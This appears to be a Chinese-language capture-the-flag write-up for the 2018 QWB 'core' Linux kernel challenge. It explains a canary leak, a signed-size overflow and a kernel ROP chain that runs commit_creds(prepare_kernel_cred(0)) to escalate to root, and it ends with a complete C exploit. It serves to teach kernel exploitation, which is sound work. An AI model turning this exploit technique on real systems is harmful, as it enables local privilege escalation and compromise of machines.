# 2018 强网杯 core,作为 kernel 学习开始的记录,栈溢出,ret2rop
# 前置 zhishi
# 1. 题目环境
题目保护环境有两类,一类可执行文件的保护机制,一类是文件系统驱动内核的保护机制
dreamcat@ubuntu:~/Desktop/kernel/2018qwb_core/give_to_player$ checksec core.ko | |
[*] '/home/dreamcat/Desktop/kernel/2018qwb_core/give_to_player/core.ko' | |
Arch: amd64-64-little | |
RELRO: No RELRO | |
Stack: Canary found | |
NX: NX enabled | |
PIE: No PIE (0x0) | |
start.sh: | |
qemu-system-x86_64 \ | |
-m 128M \ | |
-kernel ./bzImage \ | |
-initrd ./rootfs.cpio \ | |
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ | |
-s \ | |
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ | |
-nographic \ | |
~ |
可以看到这里开启了 kaslr 保护。
# 2.
# canary
core.ko 开启了 canary,我们需要泄露他,进而构造 rop
# kaslr
kaslr 类似与用户 pwn 的 aslr 或者 pie,一种地址偏移技术。如果我们可以获取 vmlinux_base 就可以绕过这个,执行其他函数。
获取方式:head /proc/kallsyms 1,startup 对应的地址就是基址
# core_base
驱动加载地址,查看方式
cat /proc/modules | |
cat /proc/devices | |
cat /proc/kallsyms | |
lsmod | |
dmesg | |
/ # lsmod | |
core 16384 0 - Live 0xffffffffc02aa000 (O) |
# 题目分析
core.ko 就是我们需要利用的漏洞驱动
# #core_ioctl
__int64 __fastcall core_ioctl(__int64 fd, int idx, __int64 user_buf)//fd是设备对应的文件描述符
{
switch ( idx )
{
case 0x6677889B:
core_read(user_buf);
break;
case 0x6677889C:
printk(&unk_2CD);
off = user_buf;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(user_buf);
break;
}
return 0LL;
}
根据我们的传参实现三种功能, case 0x6677889C: 实现我们控制 off 全局变量
# core_read
unsigned __int64 __fastcall core_read(__int64 a1) | |
{ | |
char *v2; // rdi | |
__int64 i; // rcx | |
unsigned __int64 result; // rax | |
char buf[64]; // [rsp+0h] [rbp-50h] BYREF | |
unsigned __int64 canary; // [rsp+40h] [rbp-10h] | |
canary = __readgsqword(0x28u); | |
printk(&unk_25B); | |
printk(&unk_275); | |
v2 = buf; | |
for ( i = 16LL; i; --i ) | |
{ | |
*(_DWORD *)v2 = 0; | |
v2 += 4; | |
} | |
strcpy(buf, "Welcome to the QWB CTF challenge.\n"); | |
result = copy_to_user(a1, &buf[off], 64LL); // 栈任意地址读 | |
if ( !result ) | |
return __readgsqword(0x28u) ^ canary; | |
__asm { swapgs } | |
return result; | |
} |
控制 off 后,我们就可一计算 buf 与 canary 的编译,然后通过 copy_to_user 将 canary 泄露出来。
# core_copy_func
__int64 __fastcall core_copy_func(__int64 size) | |
{ | |
__int64 result; // rax | |
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF | |
v2[8] = __readgsqword(0x28u); | |
printk(&unk_215); | |
if ( size > 63 ) | |
{ | |
printk(&unk_2A1); | |
result = 0xFFFFFFFFLL; | |
} | |
else | |
{ | |
result = 0LL; | |
qmemcpy(v2, &name, (unsigned __int16)size); | |
} | |
return result; | |
} |
传入负数就可以绕过检查,然后实现对 v2 的溢出。
# core_write
__int64 __fastcall core_write(__int64 a1, __int64 _buf, unsigned __int64 size) | |
{ | |
printk(&unk_215); | |
if ( a3 <= 0x800 && !copy_from_user(&name, _buf, size) ) | |
return (unsigned int)size; | |
printk(&unk_230); | |
return 4294967282LL; | |
} |
将数据写入内核全局变量 name 中。
1、通过 /tmp/kallsyms 文件获得 commit_creds 函数与 prepare_kernel_cred 函数地址,并计算出所需 gadget 地址。2、对全局变量 off 赋值 0x40,通过 core_read 函数获得 canary 的值。3、构建好 ropchain,使用 core_write 函数将 ropchain 复制到内核态中 4、通过 core_copy_func 函数中的数值溢出造成的栈溢出漏洞,将 ropchain 放入栈中,退出函数时完成提权并返回用户态 getrootshell。
# 漏洞利用
kernel rop 相较于用户态 rop 的不同点吧。在用户态中我们的目的是为了获得 shell,也就是令程序执行诸如 system ("/bin/sh") 一类的函数,然而到了 kernel pwn 中我们的目的从原先的 getshell 变成了提权,也就是执行 commit_creds (prepare_kernel_cred (0)) 函数,并且执行完提权函数以后我们需要从内核态返回到用户态执行 system ("/bin/sh") 获取 root 权限的 shell 才可以,所以在我看来 kernel rop 变得无非就是两步:执行提权函数,返回用户态获取 rootshell。从内核态返回用户态所需要用到的 swapgs 指令与 iretq 指令,前者是在从用户态进入内核态时,通过交换 IA32_KERNEL_GS_BASE 与 IA32_GS_BASE 值,从而得到 kernel 数据结构块,而从内核态变回用户态时需要将原先用户态的信息再交换回来。iretq 指令则用来恢复用户态的 cs、ss、rsp、rip、rflags 的信息。其具体布局如下所示:
+-----------+ -----lower | |
| RIP | | |
+-----------+ | |
| CS | | |
+-----------+ | |
| rflags | | |
+-----------+ | |
| RSP | | |
+-----------+ | |
| SS | -----higher | |
+-----------+ |
在计算内核 gadget 地址的时候我们使用 ropper 得到的 gadget 地址需要加上 offset 才是真实地址,这个和用户态的一样很好理解,而这个 offset 的获取办法,因为程序将函数地址导入到了 /tmp/kallsyms 中,我们我们可以 cat 出函数的真实地址,然后减去函数的 textoffset,就得到了 vmlinux_base. 而刚才所说的 offset 就是 vmlinux_base 减去 raw_vmlinux_base,即 0xffffffff81000000 的值。这题我们可以直接获取 start_up64
dreamcat@ubuntu:~/Desktop/kernel/2018qwb_core/give_to_player$ checksec vmlinux | |
[*] '/home/dreamcat/Desktop/kernel/2018qwb_core/give_to_player/vmlinux' | |
Arch: amd64-64-little | |
Version: 4.15.8 | |
RELRO: No RELRO | |
Stack: Canary found | |
NX: NX disabled | |
PIE: No PIE (0xffffffff81000000) | |
RWX: Has RWX segments |
# 获取 vmlinux_base
打开 /tmp/kallsyms,获得 commit_creds 函数与 prepare_kernel_cred 函数地址,并计算出 gadget 的地址。
int GetAddress() {
char *ptr; //stroull 的结束符号
char buf[0x30] = {0};
FILE* fd = fopen("/tmp/kallsyms","r"); //打开文件
if (!fd) {
puts("[-] ERROR.");
return 0;
}
while(fgets(buf, sizeof(buf), fd)) { //文件数据会进入缓存,然后再呗拷贝到buf,所以,buf会更新。
if (commit_creds && prepare_kernel_cred){
printf("[+] Find: commit_creds: 0x%llx\n[+] Find: prepare_kernel_cred: 0x%llx\n", commit_creds, prepare_kernel_cred);
return 1;
}
if (strstr(buf, "commit_creds")) { //string.h库的字符串比较函数,返回字串的位置指针
commit_creds = strtoull(buf, ptr, 16); //找到了地址,将地址转为unsigned long long
}
if (strstr(buf, "prepare_kernel_cred")) {
prepare_kernel_cred = strtoull(buf, ptr, 16);
}
}
return 0;
}
/*实例
/ # cat /tmp/kallsyms | grep commit_creds
ffffffffba29c8e0 T commit_creds
/ #
*/
#返回用户态的准备,我们最终要返回用户太执行 system ('/bin/sh'),从你内核太返回的时候,iretq 会恢复某些寄存器的值。所以我们需要提前保存这些值。
void SaveStatus() { | |
__asm__( | |
"mov user_cs, cs;" | |
"mov user_ss, ss;" | |
"mov user_sp, rsp;" | |
"pushf;" // 所有的 16 位标志寄存器入栈 | |
"pop user_rflags;" | |
); | |
} |
这里才用汇编内联,将数据保存到全局变量中 user_cs, user_ss, user_sp,
core.ko 一个外设,但是再 linux 中,万物皆文件,所以只需要访问 /proc/core。
但是如何实现用户访问与内核的转换的呢?ioctl 函数提供响应的接口。设备对应的是 core_ioctl 函数。
首先我们要泄露 canary,通过分析,我们得知,buf 与 canary 的偏移量是 0x40,core_read 函数会把 buf 拷贝到我们的 user_buf 中。
ioctl(fd, CORE_OFF, 0x40); //read canary to buf on kernel stack | |
ioctl(fd, 0x6677889B, user_buf); //canary in buf.copy it to user_buf that we can control. |
下面我们就要构造 rop, 首先填充 v2 的八字节以及 canary,然后就是布置 gadget。说明一点,commit_creds (prepare_kernel_cred (0))是在内核态执行的,只有在返回用户态的时候(也就是我们执行完了提权,才需要布置额外的寄存器的数据)
int i=8; | |
char rop[0x100] = {0}; | |
rop[i++] = canary; | |
rop[i++] = 0; // 覆盖 rbp | |
rop[i++] = pop_rdi; //rip | |
rop[i++] = 0; //rdi=0 | |
rop[i++] = prepare_kernel_cred; // 执行 prepare_kernel_cred | |
rop[i++] = pop_rdx; | |
rop[i++] = commit_creds; | |
rop[i++] = mov_rdi_rax; // 将 prepare_kernel_cred 的返回值作为 commit_creds 的参数。mov_rdi_rax,jmp rdx. | |
//swapgs --> iretq: rip, cs, rflags, rsp, ss. GetShell | |
rop[i++] = swapgs; //gadget 是 swapgs ;popfq;ret, | |
rop[i++] = 0; | |
rop[i++] = iretq; | |
rop[i++] = (size_t)GetShell; | |
rop[i++] = user_cs; | |
rop[i++] = user_rflags; | |
rop[i++] = user_sp; | |
rop[i++] = user_ss; |
# 完整的 exp
#include <string.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <sys/ioctl.h> | |
#define CORE_READ 0x6677889B | |
#define CORE_OFF 0x6677889C | |
#define CORE_COPY 0x6677889A | |
size_t vmlinux_base, commit_creds, prepare_kernel_cred; | |
size_t user_cs, user_ss, user_sp, user_rflags; | |
size_t raw_vmlinux_base = 0xffffffff81000000; | |
int GetAddress() { | |
char *ptr; | |
char buf[0x30] = {0}; | |
FILE* fd = fopen("/tmp/kallsyms","r"); | |
if (!fd) { | |
puts("[-] ERROR."); | |
return 0; | |
} | |
while(fgets(buf, sizeof(buf), fd)) { | |
if (commit_creds && prepare_kernel_cred){ | |
printf("[+] Find: commit_creds: 0x%llx\n[+] Find: prepare_kernel_cred: 0x%llx\n", commit_creds, prepare_kernel_cred); | |
return 1; | |
} | |
if (strstr(buf, "commit_creds")) { | |
commit_creds = strtoull(buf, ptr, 16); | |
} | |
if (strstr(buf, "prepare_kernel_cred")) { | |
prepare_kernel_cred = strtoull(buf, ptr, 16); | |
} | |
} | |
return 0; | |
} | |
void SaveStatus() { | |
__asm__( | |
"mov user_cs, cs;" | |
"mov user_ss, ss;" | |
"mov user_sp, rsp;" | |
"pushf;" | |
"pop user_rflags;" | |
); | |
} | |
void GetShell() { | |
if (!getuid()) { | |
system("/bin/sh"); | |
} | |
else { | |
puts("[-] CAN NOT GETSHELL."); | |
exit(1); | |
} | |
} | |
void main() { | |
size_t rop[0x100]; | |
char user_buf[0x40] = {0}; | |
char* ptr; | |
int i = 8; | |
SaveStatus(); | |
GetAddress(); | |
vmlinux_base = commit_creds - 0x9c8e0; | |
size_t offset = vmlinux_base - raw_vmlinux_base; | |
size_t pop_rdi = 0xffffffff81679ba8 + offset; | |
size_t pop_rdx = 0xffffffff810a0f49 + offset; | |
size_t mov_rdi_rax = 0xffffffff8106a6d2 + offset; // mov rdi, rax; jmp rdx; | |
size_t swapgs = 0xffffffff81a012da + offset; // swapgs; popfq; ret; | |
size_t iretq = 0xffffffff81050ac2 + offset; // iretq; ret; | |
int fd = open("/proc/core", 2); | |
if (!fd) { | |
puts("[-] OPEN /proc/core ERROR."); | |
exit(0); | |
} | |
ioctl(fd, CORE_OFF, 0x40); | |
ioctl(fd, 0x6677889B, user_buf); //canary in buf. | |
size_t canary = ((size_t*)user_buf)[0]; | |
printf("[+] Find canary: 0x%llx\n", canary); | |
//commit_creads(prepare_kernel_cred(0)); | |
rop[i++] = canary; | |
rop[i++] = 0; | |
rop[i++] = pop_rdi; | |
rop[i++] = 0; | |
rop[i++] = prepare_kernel_cred; | |
rop[i++] = pop_rdx; | |
rop[i++] = commit_creds; | |
rop[i++] = mov_rdi_rax; | |
//swapgs --> iretq: rip, cs, rflags, rsp, ss. GetShell | |
rop[i++] = swapgs; | |
rop[i++] = 0; | |
rop[i++] = iretq; | |
rop[i++] = (size_t)GetShell; | |
rop[i++] = user_cs; | |
rop[i++] = user_rflags; | |
rop[i++] = user_sp; | |
rop[i++] = user_ss; | |
write(fd, rop, sizeof(rop)); | |
ioctl(fd, CORE_COPY, 0xffffffffffff0000|0x100); | |
// 传入一个负数,因为会被转为 16 位(2bytes)无符号数,最后的调用为 qmemcpy (v2, &name, 0x100); | |
} |